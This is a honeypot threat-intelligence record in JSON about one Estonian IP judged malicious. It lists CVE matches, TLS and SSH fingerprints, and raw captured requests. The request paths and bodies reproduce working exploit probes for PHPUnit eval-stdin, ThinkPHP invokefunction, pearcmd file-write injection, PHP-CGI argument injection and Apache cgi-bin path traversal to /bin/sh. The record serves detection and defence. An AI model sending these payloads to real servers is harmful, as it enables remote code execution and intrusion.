{"ip":"95.85.245.227","total_events":299,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"45 exploit-path hits","confidence":"high","network_type":"network services","why":["45 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 3,658,210 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"3,658,210 bytes sent","bytes_sent":3658210,"session_seconds":12,"persistent":false}},"first_seen":"2026-09-01T23:19:11","last_seen":"2026-09-28T23:00:18","events_24h":0,"events_7d":149,"geo":{"country_code":"EE","country_name":"Estonia","region":"Harjumaa","city":"Tallinn","lat":59.4381,"lon":24.7369,"asn":209693,"org":"Oc Networks Limited"},"source_domain":"vds16931.1cent.network","known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"}],"malware":[],"top_ports":[{"port":80,"proto":"tcp","label":"HTTP","count":245},{"port":443,"proto":"tcp","label":"HTTPS","count":49},{"port":22,"proto":"tcp","label":"SSH","count":5}],"fingerprints":{"ssh_hassh":["19532158b559096b89b1a5f7d17175b2"],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_client_hello":"16030105b9010005b5030358e6e738595e3ab19876ade22d2a61cd84542839e2bde86168c01ae24b47fe3c207ee9f9e5299f17a1391259cbdc7c5e2fcaf79cd094b5dccd2cfe00d8fddd9e6e00245a5a130113021303c02bc02fc02cc030cca9cca8c009c013c00ac014009c009d002f0035010005481a1a000000170000ff01000100000a000c000aaaaa11ec001d00170018000b0002010000230000000d00140012040308040401050308050501080606010201003304ef04edaaaa00010011ec04c071945af87c2a94e527f900593e21af979730c538a3ab1171321c9a842914a3e096a20ca18420a82f6aa8e73172f802398209207a878bdda8a132fb3da89a13f270300451acebc6b6caeb2a26962657dc926286b720dc53c4c01eeb694f46662efaea9aa61792e188513c3a57cb0a78eb97ab9064c925159054a5480d35312155356b2400914820bae3b9a4b65253b996ace055f8ecabdf007d516a2f5aba0461d12eb0bc587ca8978d4acc56c2c6a1b8bec69c294ca8076bdb6eb4382f0c815ee16041cd716afd6702ed37056880705a9a7a20000b1e52ac30048f63063d2b022867a4afa6d99cc770177c04567113cd70404b59c3787bc58610736ecf0b232d61035339572fd3c79bd0b92fd7c49674133fdb9f845a5358c0cde7a5148d925c0405a9299a3b5dd8b53c0365d7f96e95fb855ac0cf12cb2dd10529e684c4d68a358ae745fcd2a135203a227ab7cd415bd0616b281c2da93736cdec7e8c7ba4bc8c09cd33ca44a405f40b29ca6b2bb9d5af6ddca85e7036744b8a50953cd30c9129ccb803a4117f4b255d302f6c0a699cc6b1a03a462fd1143f7b4fa0473a51b5c306e09470018810e16326046b4cc850b79a09fcc57d013111a531667b4c8046b6a8a7667c97d44f7066751c4a246a812c3124734c62078b9c2d08619f61da8b447b74f1ab0365117515913877a82785e0cf928bc20bc92f8e8cbbb38c0a9eb2c722216df8b5842861a7e2c438c4d292911151cdf10158e91fe2cb27b3a887e347a9a8262a4cc90037939a897327a6ba29d2d8cd4dfa122d741cfa8a40fce8025051214f2892df7146c1c4bb59a50ecd64074de711f9188158e7a69d1a034173b85626787c41a9e1ba3b80b52940a46a7fe278826564bf9817e199678fc9b3c107a42385799de8b25f4559052460344cbe63857d0d81c728123193a0303fd78619c921bb532d23129ab5aa87f8a51c0c1898f9125d62aaa8bc58c077353274c9cff836629acb63704c24d700caf3482012953942cbc060c3373a310a9aa659182a1348fc1b09f5126e0c04c598977af30a5bb1c1eab21c00c35980b824fd9b44602538e06916291a985316563f5a75c8fcce0bd5593f8035d290036e9854ceab08a5ebbd0c37a06fb92c0880a483207576f6361a194139223cde148a549948a34a947f02a7be9ab04de5a6659586659cc8c7b639f1c9aa469817653c636b808e8e4cc0ba428574a1825a76b586337b0cfa763b4021b31b5d3514a9b8e0b91bf53c5a487da72bcbe9b664e2f9488bb02017168bf1788f377c20ba9c5f119582f68b8ea6d927c55c107e31102ec3bd6a44cbf68c4c433887e525058f885defbc7db25c64d51717aad8355612c351a601f65c338ea4a826d5354508b3652c771f225c76119ae17a4e4089678643acc145b7e0681378877435848ae82102a5f432115b3ea1a151b2e97c6c0798e5b7b14f8a362f644488d0129c8a8aafa15db2dc3ac8a48ae7ac4284972aaac748a183261439aeb3d01fc7ab5e22080364e201293b3e1c1b387a019929f001b40974a338c19ea854f3d4808d35a3f425cb32c07461076384e50e39996b28d1bd68069cd8050eb01cbc52590efe8b13882c0c79c96f6839d3957694f7108b513831993146979fc14f577f64ac83ab659835a6409c058fa5874df9d63f796a3475850e4f7d88785d6d582ef0adf26a06d2442c1b625c001d00206d4708b742f2b0e4dbeb49fe75293283cb9920d02b2a72399dea31eaa089a237002d00020101002b0007061a1a030403034a4a0001","tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"],"http_akin":["b11cun050_00040035_dd905059","b11cuq070_00050835_c0b30902"]},"fingerprint_peers":{"t13i170900_5b57614c22b0_78e6aca7449b":143,"19532158b559096b89b1a5f7d17175b2":173,"b11cun050_00040035_dd905059":280,"b11cuq070_00050835_c0b30902":225},"akin_families":{},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-09-01","count":49},{"date":"2026-09-02","count":1},{"date":"2026-09-06","count":49},{"date":"2026-09-11","count":49},{"date":"2026-09-17","count":1},{"date":"2026-09-22","count":1},{"date":"2026-09-25","count":51},{"date":"2026-09-28","count":98}],"recent_events":[{"timestamp":"2026-09-28T23:00:18","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"fe7b4eb8-576c-405c-a79b-103050e63461","seq":49,"duration_ms":11182,"bytes_in":19141,"bytes_out":3822},{"timestamp":"2026-09-28T23:00:18","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../tmp/index1","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f696e6465783120485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"fe7b4eb8-576c-405c-a79b-103050e63461","seq":48,"duration_ms":10953,"bytes_in":18988,"bytes_out":3744},{"timestamp":"2026-09-28T23:00:18","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f7068702f70656172636d64262b636f6e6669672d6372656174652b2f262f3c3f6563686f286d6435282268692229293b3f3e2b2f746d702f696e646578312e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"fe7b4eb8-576c-405c-a79b-103050e63461","seq":47,"duration_ms":10724,"bytes_in":18801,"bytes_out":3666},{"timestamp":"2026-09-28T23:00:18","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"fe7b4eb8-576c-405c-a79b-103050e63461","seq":45,"duration_ms":10259,"bytes_in":18297,"bytes_out":3510},{"timestamp":"2026-09-28T23:00:18","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f7075626c69632f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"fe7b4eb8-576c-405c-a79b-103050e63461","seq":46,"duration_ms":10490,"bytes_in":18544,"bytes_out":3588},{"timestamp":"2026-09-28T23:00:17","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f6170702f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"fe7b4eb8-576c-405c-a79b-103050e63461","seq":44,"duration_ms":10022,"bytes_in":18057,"bytes_out":3432},{"timestamp":"2026-09-28T23:00:17","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f70616e656c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"fe7b4eb8-576c-405c-a79b-103050e63461","seq":41,"duration_ms":9336,"bytes_in":17240,"bytes_out":3198},{"timestamp":"2026-09-28T23:00:17","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f7075626c69632f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"fe7b4eb8-576c-405c-a79b-103050e63461","seq":42,"duration_ms":9565,"bytes_in":17514,"bytes_out":3276},{"timestamp":"2026-09-28T23:00:17","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f617070732f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"fe7b4eb8-576c-405c-a79b-103050e63461","seq":43,"duration_ms":9793,"bytes_in":17786,"bytes_out":3354},{"timestamp":"2026-09-28T23:00:16","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f626c6f672f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"fe7b4eb8-576c-405c-a79b-103050e63461","seq":39,"duration_ms":8870,"bytes_in":16683,"bytes_out":3042}],"http_methods":[{"method":"GET","count":252},{"method":"POST","count":42}],"distinct_ports_total":3,"top_paths":[{"path":"/containers/json","count":6,"ports":2},{"path":"/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/lib/phpunit/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":6,"ports":2},{"path":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":6,"ports":2},{"path":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","count":6,"ports":2},{"path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":6,"ports":2}],"distinct_paths_total":49,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-libssh2_1.11.1","count":5}],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"33","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"<HONEYPOT>:443","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"]},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"]}],"data_as_of":"2026-09-30T12:03:21.083166+00:00"}